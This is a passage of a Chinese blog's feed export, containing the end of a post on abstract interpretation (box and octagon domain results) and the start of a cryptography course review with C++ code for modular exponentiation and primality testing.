class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">proc <span class="title function_">incr</span> <span class="params">(x:<span class="type">int</span>)</span> <span class="title function_">returns</span> <span class="params">(y:<span class="type">int</span>)</span></span><br><span class="line">begin</span><br><span class="line">  y = x+<span class="number">1</span>;</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">var i:<span class="type">int</span>;</span><br><span class="line">begin</span><br><span class="line">  i = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> (i&lt;=<span class="number">10</span>) <span class="keyword">do</span></span><br><span class="line">    i = incr(i);</span><br><span class="line">  done;</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>矩形抽象域（box）下的结果，可以知道 <code>incr</code> 里面 <code>x</code> 的范围，接着就知道了 <code>y</code> 的范围，进而就知道了返回值 <code>i</code> 的范围。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">proc <span class="title function_">incr</span> <span class="params">(x : <span class="type">int</span>)</span> <span class="title function_">returns</span> <span class="params">(y : <span class="type">int</span>)</span> var ;</span><br><span class="line">begin</span><br><span class="line">  <span class="comment">/* (L2 C5) [|x&gt;=0; -x+10&gt;=0|] */</span></span><br><span class="line">  y = x + <span class="number">1</span>; <span class="comment">/* (L3 C10)</span></span><br><span class="line"><span class="comment">                [|x&gt;=0; -x+10&gt;=0; y-1&gt;=0; -y+11&gt;=0|] */</span></span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">var i : <span class="type">int</span>;</span><br><span class="line">begin</span><br><span class="line">  <span class="comment">/* (L7 C5) top */</span></span><br><span class="line">  i = <span class="number">0</span>; <span class="comment">/* (L8 C8) [|i&gt;=0; -i+11&gt;=0|] */</span></span><br><span class="line">  <span class="keyword">while</span> i &lt;= <span class="number">10</span> <span class="keyword">do</span></span><br><span class="line">    <span class="comment">/* (L9 C18) [|i&gt;=0; -i+10&gt;=0|] */</span></span><br><span class="line">    i = incr(i); <span class="comment">/* (L10 C16)</span></span><br><span class="line"><span class="comment">                    [|i-1&gt;=0; -i+11&gt;=0|] */</span></span><br><span class="line">  done; <span class="comment">/* (L11 C7) [|i-11=0|] */</span></span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>八边形抽象域(octagon)，可以得到 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">±</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.1944em;"></span><span class="mord">±</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 的形式的约束，具体生成过程就不细究了。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">proc <span class="title function_">incr</span> <span class="params">(x : <span class="type">int</span>)</span> <span class="title function_">returns</span> <span class="params">(y : <span class="type">int</span>)</span> var ;</span><br><span class="line">begin</span><br><span class="line">  <span class="comment">/* (L2 C5) [|x&gt;=0; -x+10&gt;=0|] */</span></span><br><span class="line">  y = x + <span class="number">1</span>; <span class="comment">/* (L3 C10)</span></span><br><span class="line"><span class="comment">                [|x&gt;=0; -x+10&gt;=0; -x+y-1&gt;=0; x+y-1&gt;=0; y-1&gt;=0; -x-y+21&gt;=0;</span></span><br><span class="line"><span class="comment">                  x-y+1&gt;=0; -y+11&gt;=0|] */</span></span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">var i : <span class="type">int</span>;</span><br><span class="line">begin</span><br><span class="line">  <span class="comment">/* (L7 C5) top */</span></span><br><span class="line">  i = <span class="number">0</span>; <span class="comment">/* (L8 C8) [|i&gt;=0; -i+11&gt;=0|] */</span></span><br><span class="line">  <span class="keyword">while</span> i &lt;= <span class="number">10</span> <span class="keyword">do</span></span><br><span class="line">    <span class="comment">/* (L9 C18) [|i&gt;=0; -i+10&gt;=0|] */</span></span><br><span class="line">    i = incr(i); <span class="comment">/* (L10 C16)</span></span><br><span class="line"><span class="comment">                    [|i-1&gt;=0; -i+11&gt;=0|] */</span></span><br><span class="line">  done; <span class="comment">/* (L11 C7) [|i-11&gt;=0; -i+11&gt;=0|] */</span></span><br><span class="line">end</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/abstract-interpretation/</id>
    <link href="https://www.blog-blockchain.xyz/pl/abstract-interpretation/"/>
    <published>2022-12-07T03:09:33.000Z</published>
    <summary>深入探讨程序分析的理论基础——抽象解释理论，包括伽罗瓦连接、抽象域的安全性、关系抽象和谓词抽象等核心概念，并通过具体示例演示抽象解释工具的应用。</summary>
    <title>（七）抽象解释</title>
    <updated>2026-02-19T16:18:01.142Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="courses" scheme="https://www.blog-blockchain.xyz/categories/courses/"/>
    <category term="crypto" scheme="https://www.blog-blockchain.xyz/tags/crypto/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/cs-courses/C-language-basis/" title="C语言基础">C语言基础</a></li><li><a href="/cs-courses/modular-inverses/" title="乘法逆元">乘法逆元</a></li><li><a href="/cs-courses/cpp-cryptographic-algorithm-basis/" title="信息安全算法基础">信息安全算法基础</a></li><li><a href="/cs-courses/OS/" title="操作系统基础">操作系统基础</a></li><li><a href="/cs-courses/x86-masm/" title="x86汇编基础">x86汇编基础</a></li><li><a href="/cs-courses/information-theory/" title="信息论与编码">信息论与编码</a></li></ol></blockquote><p>这篇文章是电子科技大学，计算机科学与工程学院，网络空间安全专业的《信息安全基础综合设计实验》的总结。本人将它视为复习总结，读者可以当作学习使用 C++ 编写密码学函数和使用密码学库的入门资料。由于包含了课程作业答案，所以明年的这个时候应该会隐藏文章。</p><h2 id="数论基础">数论基础</h2><h3 id="模指数运算">模指数运算</h3><p>主要就是分治算法，避免计算过程中溢出。递归的写法要注意堆栈溢出，因为当 <code>e</code> 不等于 0 的时候，每一层递归都会有两个分叉，也就是 2^32 次方的话，就会有 2^32 次方分叉，程序非常慢。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">mod_exp</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a,<span class="type">unsigned</span> <span class="type">int</span> e, <span class="type">unsigned</span> <span class="type">int</span> n)</span> </span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(e==<span class="number">0</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(e%<span class="number">2</span> == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">mod_exp</span>(a,e/<span class="number">2</span>,n)%n*(<span class="built_in">mod_exp</span>(a,e/<span class="number">2</span>,n)%n)%n;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">mod_exp</span>(a,e/<span class="number">2</span>,n)%n *(<span class="built_in">mod_exp</span>(a,e/<span class="number">2</span>,n)%n)%n*(a%n)%n;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么还是采用 power 函数，那么就只有线性复杂度了。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">mod_exp</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a,<span class="type">unsigned</span> <span class="type">int</span> e, <span class="type">unsigned</span> <span class="type">int</span> n)</span> </span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(e==<span class="number">0</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(e%<span class="number">2</span> == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">pow</span>(<span class="built_in">double</span>(<span class="built_in">mod_exp</span>(a,e/<span class="number">2</span>,n)%n),<span class="number">2</span>)%n;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="built_in">return</span> (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">pow</span>(<span class="built_in">double</span>(<span class="built_in">mod_exp</span>(a,e/<span class="number">2</span>,n)%n),<span class="number">2</span>)%n*(a%n)%n;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>另外，用循环编写也是可以的，只需要把指数当作二进制，从低位开始扫描，遇到 0 就不处理，遇到 1 就翻倍，然后每次扫描都通过之前的 n 次方的值，计算 2n 次方的值。二进制数的话，就通过 mod 2 和 /2 去实现。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">int</span> <span class="title">mod_exp</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a,<span class="type">unsigned</span> <span class="type">int</span> e, <span class="type">unsigned</span> <span class="type">int</span> n)</span> </span>&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> val= a%n;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> res =<span class="number">1</span>;</span><br><span class="line"><span class="keyword">while</span>(e!=<span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">if</span>(e%<span class="number">2</span>==<span class="number">1</span>)&#123;</span><br><span class="line">res = res*val%n;</span><br><span class="line">&#125;</span><br><span class="line">val = (val%n)*(val%n)%n;</span><br><span class="line">e/=<span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Eratosthenes-素性检测">Eratosthenes 素性检测</h3><p>通过 Eratosthenes 找出 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.238em;vertical-align:-0.35em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">{</span></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1/2</span></span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">}</span></span></span></span></span></span> 中的素数，判断 n 是否含有这些素因子。Eratosthenes 筛选法主要是确定 1 和 2 是素数，然后去除 2 的倍数。接着找到下一个数，继续去除这个数的倍数。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">bool</span> is_prime[<span class="number">100000</span>];</span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">Eratosthenes</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a)</span> </span>&#123;</span><br><span class="line"><span class="built_in">memset</span>(is_prime, <span class="number">1</span>, <span class="number">100000</span>*<span class="built_in">sizeof</span>(<span class="type">bool</span>));<span class="comment">//初始都没有被筛除</span></span><br><span class="line"><span class="keyword">if</span>(a==<span class="number">1</span> || a==<span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> sqr = (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">sqrt</span>(<span class="built_in">double</span>(a));</span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line">    <span class="keyword">for</span>(i = <span class="number">2</span>;i &lt;= sqr;i++)&#123;</span><br><span class="line">        <span class="keyword">if</span>(!is_prime[i]) <span class="keyword">continue</span>; <span class="comment">// 如果这个数已经被去除了，就不会用到它</span></span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j = <span class="number">2</span>; i*j&lt;=sqr;j++)&#123; <span class="comment">//筛选倍数</span></span><br><span class="line">            <span class="keyword">if</span>(is_prime[i*j]) is_prime[i*j] = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//如果是素数，那么计算整除</span></span><br><span class="line">        <span class="keyword">if</span>(a%i==<span class="number">0</span>)&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Miller-Rabin-素性检测">Miller-Rabin 素性检测</h3><p>任意的素数都可以表示成 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⩾</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord text"><span class="mord cjk_fallback">为奇数</span></span></span></span></span> 的形式，又素数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 满足费马小定理定理</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0619em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0619em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.927em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>然后由因式分解。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1452em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0619em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.927em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.8em;vertical-align:-0.65em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0619em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.927em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0619em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.927em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.2499em;vertical-align:-1.4138em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8361em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∏</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0445em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9021em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p>所以对于给定的 a，如果 n 是素数，那么一定满足一下条件之一：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">∃</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⩽</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⩽</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span 